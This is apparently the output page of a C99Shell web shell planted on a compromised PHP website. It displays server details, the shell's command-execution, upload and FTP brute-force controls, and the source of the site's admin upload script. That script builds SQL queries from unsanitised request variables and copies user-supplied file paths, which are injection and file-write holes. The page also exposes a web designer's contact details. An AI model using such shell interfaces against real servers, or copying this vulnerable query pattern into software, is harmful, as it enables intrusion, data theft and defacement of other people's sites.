!C99Shell v. 1.0 pre-release build #13!

Software: Apache/2.0.54 (Unix) mod_perl/1.99_09 Perl/v5.8.0 mod_ssl/2.0.54 OpenSSL/0.9.7l DAV/2 FrontPage/5.0.2.2635 PHP/4.4.0 mod_gzip/2.0.26.1a 

uname -a: Linux snow.he.net 4.4.276-v2-mono-1 #1 SMP Wed Jul 21 11:21:17 PDT 2021 i686 

uid=99(nobody) gid=98(nobody) groups=98(nobody) 

Safe-mode: OFF (not secure)

/home/makras/public_html/admin/   drwxr-xr-x
Free 318.37 GB of 458.09 GB (69.5%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     upload_feature.php (4.82 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?
/*
this script takes the form data collected from the new feature
or modify feature form and inserts it into the database
*/

include ("../include/settings");
include (
"../include/db_connect");

// DO THIS IF IT IS A NEW FEATURE ARTICLE

    
if ($new == "yes")
    
        {
        
$new_row mysql_query("INSERT INTO feature (ID)
                            values (NULL)"
$db);
        
//Get auto-increment ID value
                
                
$ID_data mysql_query("SELECT LAST_INSERT_ID()"$db);
                
$ID mysql_result($ID_data0'last_insert_ID()');
        
        }
    
// PREPARE QUERY
    
$query "UPDATE feature SET title = '$title'";
    
$query .= ", active = '$active'";

// START DATE
    
if ($start_month)
            {
                
$start_date $start_year.$start_month.$start_day;
                
$query .= ", start_date = '$start_date'";
            }
            
// END DATE
    
if ($end_month)
            {
                
$end_date $end_year.$end_month.$end_day;
                
$query .= ", end_date = '$end_date'";
            }
            
// THUMBNAIL
    
if (($thumb) and ($thumb != "none"))
            
            {
            
//make a unique image name based on reference name
            
$thumb_reference "thumb_$ID.jpg";
        
            
//transfer file
            
if(copy($thumb"../feature_pics/$thumb_reference"))
                {
                    
$query .= ", thumb = '$thumb_reference'";
                }
            
            else
                {
                 print(
"error transferring thumbnail <br>\n");
                }
            }
            
// PICTURES

//-----picture 1---------------------------
        
            
if (($picture1) and ($picture1 != "none"))
            {
            
            
//make a unique image name based on reference name
            
$picture1_reference "picture1_$ID.jpg";
        
            
//transfer file
            
if(copy($picture1"../feature_pics/$picture1_reference"))
                {
                    
$query .= ", picture1 = '$picture1_reference'";
                }
            
            else
                {
                 print(
"error transferring picture number 1<br>\n");
                }
            }
            
 
//-----picture 2---------------------------
        
            
if (($picture2) and ($picture2 != "none"))
            {
            
            
//make a unique image name based on reference name
            
$picture2_reference "picture2_$ID.jpg";
        
            
//transfer file
            
if(copy($picture2"../feature_pics/$picture2_reference"))
                {
                    
$query .= ", picture2 = '$picture2_reference'";
                }
            
            else
                {
                 print(
"error transferring picture number 2<br>\n");
                }
            }
            
  
//-----picture3---------------------------
        
            
if (($picture3) and ($picture3 != "none"))
            {
            
            
//make a unique image name based on reference name
            
$picture3_reference "picture3_$ID.jpg";
        
            
//transfer file
            
if(copy($picture3"../feature_pics/$picture3_reference"))
                {
                    
$query .= ", picture3 = '$picture3_reference'";
                }
            
            else
                {
                 print(
"error transferring picture number 3<br>\n");
                }
            }
 
//-----picture 4---------------------------
        
            
if (($picture4) and ($picture4 != "none"))
            {
            
            
//make a unique image name based on reference name
            
$picture4_reference "picture4_$ID.jpg";
        
            
//transfer file
            
if(copy($picture4"../feature_pics/$picture4_reference"))
                {
                    
$query .= ", picture4 = '$picture4_reference'";
                }
            
            else
                {
                 print(
"error transferring picture number 4<br>\n");
                }
            }
            
//-----picture 5---------------------------
    
            
if (($picture5) and ($picture5 != "none"))
            {
            
            
//make a unique image name based on reference name
            
$picture5_reference "picture5_$ID.jpg";
        
            
//transfer file
            
if(copy($picture5"../feature_pics/$picture5_reference"))
                {
                    
$query .= ", picture5 = '$picture5_reference'";
                }
            
            else
                {
                 print(
"error transferring picture number 5<br>\n");
                }
            }
            
 
//-----picture 6---------------------------
        
            
if (($picture6) and ($picture6 != "none"))
            {
            
            
//make a unique image name based on reference name
            
$picture6_reference "picture6_$ID.jpg";
        
            
//transfer file
            
if(copy($picture6"../feature_pics/$picture6_reference"))
                {
                    
$query .= ", picture6 = '$picture6_reference'";
                }
            
            else
                {
                 print(
"error transferring picture_number 6<br>\n");
                }
            }
            
// INTRO
    
if ($short)
            {
                
$query .= ", short = '$short'";
            }
            
// CONTENT
    
if ($content)
            {
                
$query .= ", content = '$content'";
            }
            
        

        
        
//Delete this?

        
if ($delete == "yes")
        {
            
$delete_query "DELETE FROM feature WHERE ID = $ID";
            
$deleted mysql_query($delete_query$db);
        }
        else
        {
            
$query .= " WHERE ID = '$ID'";
            
$upload mysql_query("$query"$db);
        }
        
        if (
$deleted)
        {
            print(
"<p align=\"center\"><br><br><b>Feature Deleted.</b><br><br>\n");
            include (
"index.php");
        }
        
        
        
        else if (
$upload)
          {
            print(
"<p align=\"center\"><br><br><b>Upload successful!</b><br><br>\n");
            include (
"index.php");
        }
        
        else
        {
            print(
"<p align=\"center\"><br><br><b>OOPS, something went wrong.  Try it again.</b><br>If you still have problems, please notify Dan Psomas Web Design<br>by <a href=\"mailto:dan@danpsomas.com?subject=Problems uploading\">e-mail</a> or phone: (510) 865-0273<br>\n<a href=\"index.php\">Go back to admin menu</a>");
        }
        
?>


:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0171 ]--